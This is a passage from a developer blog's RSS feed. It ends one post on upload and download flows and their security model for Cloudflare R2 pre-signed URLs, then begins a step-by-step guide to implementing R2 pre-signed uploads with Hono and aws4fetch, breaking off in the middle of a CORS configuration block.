&lt;h2 id=&quot;flow-profile-image-upload-stable-key-overwrite&quot;&gt;Flow: Profile Image Upload (Stable Key, Overwrite)&lt;/h2&gt;
&lt;pre class=&quot;mermaid-source-block&quot;&gt;&lt;code class=&quot;language-mermaid&quot;&gt;sequenceDiagram
  autonumber
  participant F as Frontend (SPA)
  participant A as Hono API (Worker)
  participant DB as Database
  participant R2 as Cloudflare R2

  F-&gt;&gt;A: POST /api/user/profile/image { contentType, fileSize, originalFilename? }
  A-&gt;&gt;A: Authenticate (Better Auth)
  A-&gt;&gt;DB: SELECT user by session.user.id
  DB--&gt;&gt;A: user row (image key?)
  alt first-time (no key)
    A-&gt;&gt;DB: UPDATE user.image = randomUUID() (no extension)
    DB--&gt;&gt;A: updated row
  end
  A-&gt;&gt;A: aws4fetch.sign( PUT, headers, signQuery, expires=86400, allHeaders=true )
  A--&gt;&gt;F: { presignedUrl, key, uploadedBy, uploadedAt, originalFilename, ... }

  F-&gt;&gt;R2: PUT presignedUrl (headers: Content-Type, x-amz-meta-*)
  R2--&gt;&gt;F: 200 OK&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;flow-generic-upload-uuid-per-object&quot;&gt;Flow: Generic Upload (UUID per Object)&lt;/h2&gt;
&lt;pre class=&quot;mermaid-source-block&quot;&gt;&lt;code class=&quot;language-mermaid&quot;&gt;flowchart TD
  A[Frontend SPA] --&gt;|POST filename,contentType,fileSize| B[API /api/uploads/pre-signed-url]
  B --&gt; C[Auth + Validate]
  C --&gt; D[Generate UUID.ext]
  D --&gt; E[aws4fetch.sign PUT signQuery]
  E --&gt;|presignedUrl, metadata| A
  A --&gt;|PUT to presignedUrl| R2[Cloudflare R2]
  R2 --&gt;|200 OK| A&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;flow-profile-image-download&quot;&gt;Flow: Profile Image Download&lt;/h2&gt;
&lt;pre class=&quot;mermaid-source-block&quot;&gt;&lt;code class=&quot;language-mermaid&quot;&gt;sequenceDiagram
  autonumber
  participant F as Frontend (SPA)
  participant A as Hono API (Worker)
  participant DB as Database
  participant R2 as Cloudflare R2

  F-&gt;&gt;A: GET /api/user/profile/image
  A-&gt;&gt;A: Authenticate (Better Auth)
  A-&gt;&gt;DB: SELECT user.image
  DB--&gt;&gt;A: key or null
  alt has image
    A-&gt;&gt;A: aws4fetch.sign( GET, signQuery, expires=3600 )
    A--&gt;&gt;F: { hasImage: true, downloadUrl, filename, expiresIn }
  else no image
    A--&gt;&gt;F: { hasImage: false }
  end&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;security-model-and-decisions&quot;&gt;Security Model and Decisions&lt;/h2&gt;
&lt;p&gt;Covered as part of the flows above are the following security considerations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Authentication enforced for all signing endpoints.&lt;/li&gt;
&lt;li&gt;Authorization: profile image key is scoped to authenticated user; generic uploads still require session.&lt;/li&gt;
&lt;li&gt;Upload pre‑signed URLs default to 24h (86400s); download URLs commonly 1h (3600s). Use shorter TTLs if needed.&lt;/li&gt;
&lt;li&gt;Overwrite policy for profile images ensures a single object per user.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;implementation-notes&quot;&gt;Implementation Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Signing: &lt;code&gt;aws4fetch&lt;/code&gt; options &lt;code&gt;aws: { signQuery: true, expires: 86400, allHeaders: true }&lt;/code&gt; to include &lt;code&gt;Content-Type&lt;/code&gt; in the signature.&lt;/li&gt;
&lt;li&gt;R2 object URL: &lt;code&gt;https://&amp;#x3C;account-id&gt;.r2.cloudflarestorage.com/&amp;#x3C;bucket&gt;/&amp;#x3C;key&gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Stable key is UUID without extension; determined/created on first call, then reused.&lt;/li&gt;
&lt;li&gt;Database update for profile (name‑only) must not null &lt;code&gt;image&lt;/code&gt; unless &lt;code&gt;image&lt;/code&gt; field is explicitly provided.&lt;/li&gt;
&lt;li&gt;Backend must return the exact metadata used for signing; frontend must reuse it when uploading.&lt;/li&gt;
&lt;li&gt;Generate timestamps once on the backend and reuse in the response to avoid signature drift.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;known-pitfalls-and-mitigations&quot;&gt;Known Pitfalls and Mitigations&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Wildcard CORS headers are unreliable on R2 → explicitly allow &lt;code&gt;content-type&lt;/code&gt; and required &lt;code&gt;x-amz-meta-*&lt;/code&gt; headers.&lt;/li&gt;
&lt;li&gt;Missing &lt;code&gt;Content-Type&lt;/code&gt; in signature → 403; ensure it’s included in the signed headers and in the upload.&lt;/li&gt;
&lt;li&gt;Do not send &lt;code&gt;Content-Length&lt;/code&gt; from the browser.&lt;/li&gt;
&lt;li&gt;AWS SDK v3 is not Workers‑compatible (e.g., &lt;code&gt;DOMParser&lt;/code&gt;), use &lt;code&gt;aws4fetch&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Inconsistent expiration across flows; standardize.&lt;/li&gt;
&lt;li&gt;Undefined metadata (e.g., &lt;code&gt;originalFilename&lt;/code&gt;) leads to signature mismatch; always return and reuse exact values.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;operational-considerations&quot;&gt;Operational Considerations&lt;/h2&gt;
&lt;p&gt;Open security aspects remain for future consideration:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Logging: record pre‑signed generation events (do not log secrets).&lt;/li&gt;
&lt;li&gt;Rate limiting (future): throttle pre‑signed URL issuance per user.&lt;/li&gt;
&lt;li&gt;Orphaned objects (future): generic uploads may need cleanup or commit semantics.&lt;/li&gt;
&lt;li&gt;Versioning (future): store multi‑version keys instead of overwrite if historical versions are required.&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Building Cloudflare R2 Pre-signed URL Uploads with Hono: A Complete Implementation Guide</title><link>https://lirantal.com/blog/cloudflare-r2-presigned-url-uploads-hono/</link><guid>https://lirantal.com/blog/cloudflare-r2-presigned-url-uploads-hono/</guid><description>A comprehensive guide to implementing secure file uploads using Cloudflare R2 and Hono, including common pitfalls and best practices</description><pubDate>Tue, 14 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The following write-up presents a comprehensive walkthrough of implementing secure file uploads using Cloudflare R2 (Cloudflare’s cloud object storage, comparable to AWS S3) and Hono for backend HTTP API including common pitfalls and best practices.&lt;/p&gt;
&lt;h2 id=&quot;table-of-contents&quot;&gt;Table of Contents&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#apply-cors-policy&quot;&gt;Apply CORS policy&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#step-4-generate-typescript-types&quot;&gt;Step 4: Generate TypeScript Types&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#step-5-environment-configuration&quot;&gt;Step 5: Environment Configuration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#step-6-implement-the-upload-handler&quot;&gt;Step 6: Implement the Upload Handler&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#step-7-integrate-routes&quot;&gt;Step 7: Integrate Routes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#testing-and-validation&quot;&gt;Testing and Validation&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#local-development&quot;&gt;Local Development&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#authentication-testing&quot;&gt;Authentication Testing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#pre-signed-url-validation&quot;&gt;Pre-signed URL Validation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#production-deployment&quot;&gt;Production Deployment&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#step-1-create-r2-api-token&quot;&gt;Step 1: Create R2 API Token&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#step-2-set-production-secrets&quot;&gt;Step 2: Set Production Secrets&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#step-3-deploy&quot;&gt;Step 3: Deploy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#step-4-update-cors-for-production&quot;&gt;Step 4: Update CORS for Production&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#frontend-integration&quot;&gt;Frontend Integration&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#a-vuejs-example-for-pre-signed-url-uploads&quot;&gt;A Vue.js Example for Pre-signed URL Uploads&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Building file upload functionality in modern web applications can be tricky, especially when you want to maintain security, performance, and scalability. After extensive research and implementation, I’ll present a robust solution using &lt;strong&gt;Cloudflare R2&lt;/strong&gt; for storage and &lt;strong&gt;Hono&lt;/strong&gt; for the API layer, with pre-signed URLs enabling direct frontend-to-storage uploads.&lt;/p&gt;
&lt;p&gt;This article chronicles a complete implementation journey, including the challenges I faced, the mistakes I made, and the solutions I discovered. Whether you’re building a photo gallery, document management system, or any application requiring file uploads, this guide will help you avoid common pitfalls and implement a production-ready solution.&lt;/p&gt;
&lt;h2 id=&quot;why-this-combination-works&quot;&gt;Why This Combination Works&lt;/h2&gt;
&lt;h3 id=&quot;cloudflare-r2-the-storage-solution&quot;&gt;Cloudflare R2: The Storage Solution&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;S3-compatible API&lt;/strong&gt;: Familiar interface with excellent support&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Global edge network&lt;/strong&gt;: Fast uploads from anywhere in the world&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cost-effective&lt;/strong&gt;: No egress fees, pay only for storage&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Integrated with Workers&lt;/strong&gt;: Seamless deployment and management&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;hono-the-api-framework&quot;&gt;Hono: The API Framework&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Lightweight and fast&lt;/strong&gt;: Built for edge computing, native to Cloudflare Workers platform.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TypeScript-first&lt;/strong&gt;: Excellent type safety and developer experience&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloudflare Workers native&lt;/strong&gt;: Optimized for the Workers runtime&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Middleware ecosystem&lt;/strong&gt;: Rich set of plugins and utilities&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;pre-signed-urls-the-security-model&quot;&gt;Pre-signed URLs: The Security Model&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Direct uploads&lt;/strong&gt;: Files go straight to R2, reducing server load from Hono and also cutting down latency&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Time-limited access&lt;/strong&gt;: URLs expire automatically&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cryptographic security&lt;/strong&gt;: Signed requests prevent tampering&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fine-grained control&lt;/strong&gt;: Specify exact upload conditions&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;the-journey-what-i-learned&quot;&gt;The Journey: What I Learned&lt;/h2&gt;
&lt;p&gt;The implementation journey wasn’t without its challenges. Here’s what I discovered along the way:&lt;/p&gt;
&lt;h3 id=&quot;the-domparser-dilemma&quot;&gt;The DOMParser Dilemma&lt;/h3&gt;
&lt;p&gt;My first attempt used the AWS SDK v3 (&lt;code&gt;@aws-sdk/client-s3&lt;/code&gt; as is recommended by Cloudflare as part of supported libraries), which seemed like the obvious choice for S3-compatible operations.&lt;/p&gt;
&lt;p&gt;However, I quickly hit a wall:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Uncaught ReferenceError: DOMParser is not defined&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The AWS SDK v3 relies on browser APIs like &lt;code&gt;DOMParser&lt;/code&gt; that aren’t available in Cloudflare Workers. This reminded me about Cloudflare’s Workers unique runtime and that &lt;strong&gt;not all Node.js packages work in edge environments&lt;/strong&gt; (on Cloudflare, at least).&lt;/p&gt;
&lt;h3 id=&quot;the-aws4fetch-solution&quot;&gt;The aws4fetch Solution&lt;/h3&gt;
&lt;p&gt;After researching Cloudflare’s documentation, I discovered &lt;code&gt;aws4fetch&lt;/code&gt; - another recommended library for a lightweight, Workers-compatible library specifically designed for AWS signature generation. This was the breakthrough (but this too came with some challenges in terms of API usage).&lt;/p&gt;
&lt;h3 id=&quot;configuration-complexity&quot;&gt;Configuration Complexity&lt;/h3&gt;
&lt;p&gt;Setting up R2 correctly required understanding several moving parts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bucket creation and CORS configuration (some gotchas here)&lt;/li&gt;
&lt;li&gt;API token generation and management&lt;/li&gt;
&lt;li&gt;Environment variable handling for different environments&lt;/li&gt;
&lt;li&gt;TypeScript type generation&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;common-pitfalls-and-what-not-to-do&quot;&gt;Common Pitfalls and What NOT to Do&lt;/h2&gt;
&lt;h3 id=&quot;-dont-use-aws-sdk-v3-in-workers&quot;&gt;❌ Don’t Use AWS SDK v3 in Workers&lt;/h3&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// DON&apos;T DO THIS&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { S3Client, PutObjectCommand } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;@aws-sdk/client-s3&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// This will fail with DOMParser errors in Workers&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;-dont-put-secrets-in-wranglerjsonc&quot;&gt;❌ Don’t Put Secrets in wrangler.jsonc&lt;/h3&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// DON&apos;T DO THIS - secrets will be committed to git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;vars&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;R2_ACCESS_KEY_ID&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;your-secret-key&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;-dont-skip-cors-configuration&quot;&gt;❌ Don’t Skip CORS Configuration&lt;/h3&gt;
&lt;p&gt;Without proper CORS setup, browsers will block direct uploads to R2, even with valid pre-signed URLs.&lt;/p&gt;
&lt;h3 id=&quot;-cors-setup-expects-specific-format&quot;&gt;❌ CORS Setup Expects Specific Format&lt;/h3&gt;
&lt;p&gt;If you’re pushing CORS rules via CLI, ensure the JSON structure matches Cloudflare’s expectations which isn’t just the regular JSON representation of CORS rules and how it looks in the Cloudflare UI but rather it needs to match their HTTP API body format.&lt;/p&gt;
&lt;h3 id=&quot;-dont-forget-file-validation&quot;&gt;❌ Don’t Forget File Validation&lt;/h3&gt;
&lt;p&gt;Always validate file types, sizes, and user authentication before generating pre-signed URLs.&lt;/p&gt;
&lt;h3 id=&quot;-dont-use-hardcoded-urls&quot;&gt;❌ Don’t Use Hardcoded URLs&lt;/h3&gt;
&lt;p&gt;R2 URLs should be constructed dynamically using environment variables.&lt;/p&gt;
&lt;h2 id=&quot;prerequisites&quot;&gt;Prerequisites&lt;/h2&gt;
&lt;p&gt;Before diving into implementation, ensure you have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cloudflare Account&lt;/strong&gt;: With R2 enabled (you need to manually opt-in for this from the Cloudflare dashboard)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Node.js 20+&lt;/strong&gt;: For local development&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Wrangler CLI&lt;/strong&gt;: &lt;code&gt;npm install -g wrangler&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Basic Hono Knowledge&lt;/strong&gt;: Understanding of routes and middleware&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TypeScript Experience&lt;/strong&gt;: For type safety and better development&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;step-by-step-implementation&quot;&gt;Step-by-Step Implementation&lt;/h2&gt;
&lt;h3 id=&quot;step-1-project-setup&quot;&gt;Step 1: Project Setup&lt;/h3&gt;
&lt;p&gt;Start with a fresh Hono project or add to an existing one:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Initialize project&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm init -y&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm install hono aws4fetch better-auth drizzle-orm&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm install -D wrangler @types/node typescript&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;step-2-configure-wrangler&quot;&gt;Step 2: Configure Wrangler&lt;/h3&gt;
&lt;p&gt;Create or update &lt;code&gt;wrangler.jsonc&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;$schema&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;node_modules/wrangler/config-schema.json&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;hono-r2-uploads&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;main&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;src/index.ts&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;compatibility_date&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;2025-10-13&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;compatibility_flags&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;nodejs_compat&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// I needed the below 0.0.0.0 ip rule because I am doing&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// local development and testing from within a dev container&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;dev&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;ip&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;0.0.0.0&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Define the bucket name and how it is binded through the Worker code&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;r2_buckets&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;binding&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;GALLERY&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;bucket_name&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;gallery&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;step-3-create-r2-bucket&quot;&gt;Step 3: Create R2 Bucket&lt;/h3&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Create the bucket&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npx wrangler r2 bucket create gallery&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Configure CORS (create cors.json)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;cat &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; cors.json &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;EOF&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;  &quot;rules&quot;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      &quot;allowed&quot;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &quot;methods&quot;: [&quot;PUT&quot;, &quot;GET&quot;, &quot;POST&quot;,&quot;DELETE&quot;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &quot;origins&quot;: [&quot;*&quot;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &quot;headers&quot;: [&quot;content-type&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;          &quot;x-amz-meta-original-filename&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;          &quot;x-amz-meta-uploaded-at&quot;,&lt;/span&gt;&lt;/span&gt;
